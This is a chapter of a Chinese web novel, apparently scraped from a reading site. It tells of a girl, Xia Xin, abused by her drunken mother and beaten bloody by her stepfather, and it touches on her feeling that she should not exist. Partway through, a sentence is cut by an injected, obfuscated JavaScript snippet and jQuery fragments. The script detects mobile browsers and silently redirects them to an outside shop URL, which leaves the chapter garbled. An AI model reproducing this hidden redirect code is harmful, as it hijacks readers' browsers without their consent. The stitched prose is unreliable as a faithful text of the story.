默认冷灰
24号文字
方正启体

23. 第23章 夏欣

作者:牧游云本书字数:K更新时间:
    夏欣从很小的时候就知道,自己不应该出现在这个世界上。


    这个认知像刻在骨子里的烙印,经过时间的磨砺,烙印下的痛苦已不再铺天盖地,而是收敛了侵略性,变得隐忍而迟钝,只在某些特定的时候,才会跳出来扎她一下,带来几乎麻木的痛楚。


    她的出生本身就是一个错误,是母亲年轻时一场糊涂恋爱的苦果。那个被称为“家”的地方,对她而言从来不是温暖的港湾,而是充斥着酒精、咒骂与绝望的囚笼。


    她知道,母亲恨她,她是母亲的累赘,是一个甩不掉的拖油瓶。不止一次,母亲在家中酗酒,醉醺醺地瘫在地上,发出撕心裂肺的哭嚎,咒骂那个负心的男人,怨恨命运的不公,当然,总少不了用尖锐的指甲狠狠掐住夏欣的胳膊,在上面留下青青紫紫的痕迹。


    “要不是你。”母亲猩红又浑浊的眼球恶狠狠地盯着她,声气里的怨毒让当时年纪尚小的夏欣狠狠地打了几个寒战,“要不是你,我早就脱离这个泥潭,拥有新生活了!都是因为你!你这个扫把星!”


    有好几次,夏欣以为母亲终于忍受不了她的拖累,要一走了之,断绝和她的一切联系追求新生活去了,但是,母亲最终还是没有这么做。她留了下来,日复一日地留了下来。


    夏欣有时候会想,是不是在母亲心底里,她也有那么一小块位置,母亲会不会也是爱她的,只是她的爱表现得如此不同寻常。


    她希望母亲能陪在她身边,尽管她得到的永远不会是温情,只有无休止的谩骂与怨毒,但是她依然渴望待在母亲身边,那是她难得安心的机会。


    她就这样慢慢地长大了,在这个城中村里,在这一间终年不见阳光的廉价出租屋里,一点点长大了。


    她熟悉因潮湿而斑驳脱落的发霉墙壁,熟悉空气里混杂着的劣质烟草、隔夜饭菜和若有若无的腐败味道。然后,在五岁那年,她的生活中迎来了第一个变数,第一个走进这间出租屋的陌生人。


    母亲说,这个陌生人是她的继父。


    五岁的夏欣还没学会用复杂的语言描述自己内心的感受,她只是用孩童特有的敏锐与直觉意识到:她不喜欢她的继父。


    后来的日子里,她的这一想法一次次得到了现实的印证。


    继父没有固定工作,只靠打零工和母亲的微薄收入过活,他更多的精力则消耗在了喝酒和赌牌上。


    小小的夏欣记得无数个惊恐的夜晚,她被隔壁房间里继父和母亲激烈的争吵和摔打声惊醒。继父粗鲁的吼叫夹杂着母亲压抑的哭泣,像冰冷的针,一遍遍刺穿她童年的梦境。


    她不明白,母亲为什么会将家庭托付到这样一个人手里?一个一事无成、只会向妻女发泄无能怒火的男人,如何能支撑起一个家?


    早晨起床的时候,她时常会看到母亲面颊上多出的淤青和血痕,母亲面容憔悴,头发散乱,无声地走进厨房,端出为她准备的早饭,很寒酸,但每天都会准时出现在早餐桌上。


    夏欣稍微懂事一点以后,帮母亲给伤口上药。她看着那些伤痕,沉默了很久,轻轻地说:“妈妈,我们走吧,离开他。”


    母亲却只是温顺地摇了摇头,没说话,只是缓缓地将自己的手搭在了夏欣的手上,又缓缓摇了摇头。


    这是母亲与夏欣之间少有的温馨时刻,更多的时候,依然是无尽的怨毒与谩骂。母亲酗酒的状况越来越严重了,她一天一天地烂醉在客厅的沙发上,很久都不去工作。


    每当她喝醉,都会抓着夏欣,嘴里颠三倒四地重复着:“你是个扫把星!没有你,我早就能离开这个泥潭了!”


    夏欣近乎是茫然地任由母亲抓着自己,呆呆地看着母亲痛苦又扭曲的面容,脑子前所未有的迟钝,过了好久,才慢慢闪过一个念头:也许,我真的不应该存在于这个世界上。


    夏欣在这个贫穷而缺失亲情的家庭里挣扎着,上了小学,又上了初中,继父只知道在外面胡乱花钱,不够了就打骂母亲一顿,从母亲身上挤出本应该贴补家用的生活费,过不了几天就又会花得一干二净。


    夏欣申请了住宿和贫困生补助,虽然生活得紧紧巴巴、捉襟见肘,但是好歹不用向母亲要钱了,这多少让她心里好过了一点。


    有时候,她也会刻意再节俭一点,攒下本就微薄的补助金,回家的时候偷偷塞给母亲。有一次被继父看见了,他勃然大怒,冲过来劈手夺过刚刚交到母亲手中的零钱,用一种阴翳的目光打量着夏欣,仿佛第一次认识她一样。


    继父阴毒的声音从紧咬的牙缝中一丝丝泄露出来,带着冰冷的寒意:“真是长本事了,以前怎么没发现你也有钱,全都给我拿出来!”


    夏欣被吓住了,只知道呆呆地站在原地,看着继父扭曲的面容。他那天喝了很多酒,整张脸都呈现着不自然的深红,配上那双浑浊又恶毒的眼睛,构成了夏欣此后很长时间的噩梦。


    继父见她迟迟没有动作,很快就失去了耐心,上前两步伸手要来抓她的头发,嘴里骂骂咧咧地吐着脏话:“妈的,你也逼着我动手是吧!好话听不懂!”


    夏欣没觉得自己能躲过去,她看着继父脑门上冒出的油汗,闻着越来越近,越来越刺鼻的劣质酒精味道,脑海里突然闪过了另一个不相干的念头:她的亲生父亲,究竟是什么样的呢?


    她的目光越过继父越来越近的身影,看到了直愣愣坐在沙发上的母亲,自从继父夺过她手中的钱以后,她一直保持着这个姿势,目光呆滞没有焦点,仿佛在和虚空中的什么东西对视。


    她们的眼神相撞了,母亲木木的眼球滚动了一下,向她和继父的方向转过来,好像才发现屋子里还有另外两个人。


    夏欣的视线很快被继父遮住了,她感受到自己的头发被继父狠狠地揪起来,继父粗粝的手抡起来甩了她一巴掌,发出“啪”的一声脆响,夏欣后知后觉地察觉了疼痛。


    这一巴掌的力气太大了,她的耳朵里嗡嗡作响,一时什么也听不清,她只能茫然地看着继父鼓凸出来的狞恶眼球,看着他口沫四溅地吼着什么,也许还是在要钱吧,夏欣平静地想。


    又一个巴掌甩在了夏欣脸上,她的头磕在了水泥墙面上,眼前一阵一阵发黑,这一次,她看不清继父脸上的表情了,一切都变成了一晃一晃的重影,层层叠叠地在她眼前乱晃。


    夏欣快要感觉不到疼痛了,额角留下了什么热热的东西,慢慢地滑落到嘴角,又滴到下巴,她无意识地伸出舌头舔了一下,后知后觉地品出了铁锈味,原来是她流血了啊。


    似乎是流出的鲜血让继父找回了些许理智,他松开了揪着她头发


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039436|194673||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的手,随意地将她扔在了墙角,咕咕哝哝骂了一句什么,然后攥着刚抢来的钱急匆匆地走了。


    夏欣躺在冰凉的地板上,昏昏沉沉、意识模糊、似梦似醒,她半睁着眼,却什么也看不清,一切都变成了模模糊糊的色块,没有了形状,只是不断地在她眼前旋转、旋转……像一个个黑洞,想要将她拉入万劫不复的深渊。


    她不知道自己在地上躺了多久,她已经失去了对时间和空间的感知能力,她唯一存在的触感也只是能让她感受到地板的坚硬和寒冷。


    已经十二月了啊……她迷迷糊糊地想,可是我们的小家里还没有来暖气,真的好冷。


    一个跌跌撞撞的身影突然扑到她跟前,遮住了她眼前的光,夏欣看不清这是谁,她只能感受到对方好像正拿着什么东西一圈一圈地往她头上缠,她迟钝地反应了一会,才意识到那是纱布。


    有什么湿湿热热的东西滴在了夏欣脸上,还有一滴滴进了她的嘴里,温热的、咸咸的,还带着一股微弱的酒精味,这是母亲的气息。


    母亲哭了吗?是因为我吗?


    虽然很痛,但夏欣的心里却突然爆发出了强烈的喜悦,原来,母亲会为她受伤而哭泣,原来母亲会心疼她。


    失血太多了,夏欣眼前一阵阵发黑,身体越来越沉,向下坠着她,但她的心却被满足填充得满满的,轻盈地向上升……她满足地闭上眼睛,在母亲慌乱的包扎动作中,放心地闭上眼睛昏了过去。


    不知道过了多久,夏欣悠悠转醒,还没睁开眼睛,鼻端却先闻到了消毒水的味道,凌冽而干净的气息环绕在周身,还有暖气在不断释放热量,让她一时有点恍惚。


    这不是家里的味道,也不是家里所能拥有的温度。


    夏欣慢慢睁开了眼睛,入目是一片洁白的天花板,白炽灯散发着明亮而恒定的光,照亮了这一个房间,长这么大,她还从来没住过这样整洁干净的房间。


    她想抬起头或者转动一下脖子,看看四周到底是什么样子,但刚刚一动,脑袋上剧烈的疼痛就制止了她的动作,让她忍不住倒吸了一口凉气。


    旁边传来“窸窸窣窣”的响声,母亲乱糟糟的长发垂了下来,有几根头发正好落在了夏欣的脸上,痒痒的,让她不由得想笑,她也确实这么做了,微笑留在她的脸上,越来越大,越来越开心,最后,她甚至笑出了声。


    母亲冰凉的手指轻轻抚摸她的脸,对她突如其来的笑意感到莫名其妙。母亲担忧地将手放在她额头上,想看看她是否发烧了。


    夏欣笑了一会,感到了疲惫,受伤让她的精力流失得很快,她轻轻咳了一下,让自己的声音不那么沙哑,然后问道:“妈,我们在哪里?”


    母亲生疏地拍着夏欣的胳膊,像是在安慰她,也像是在哄她睡觉,过了一会,母亲轻轻地回应:“我们在医院,没事了,一切都过去了。”


    夏欣想再多醒一会,想和母亲多聊几句,但是她太累了,刚刚的情绪波动也会加深她的疲惫程度,于是很快,她又迷迷糊糊地睡了过去。


    母亲滚烫的泪水又滴落在了她的手背上,不知道在梦境中还是在现实里,她听见了母亲温柔而悲凉的呢喃:“欣欣,离开这个家吧,别再回来了。”


    这是母亲第一次叫她欣欣呢,夏欣满足地想。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)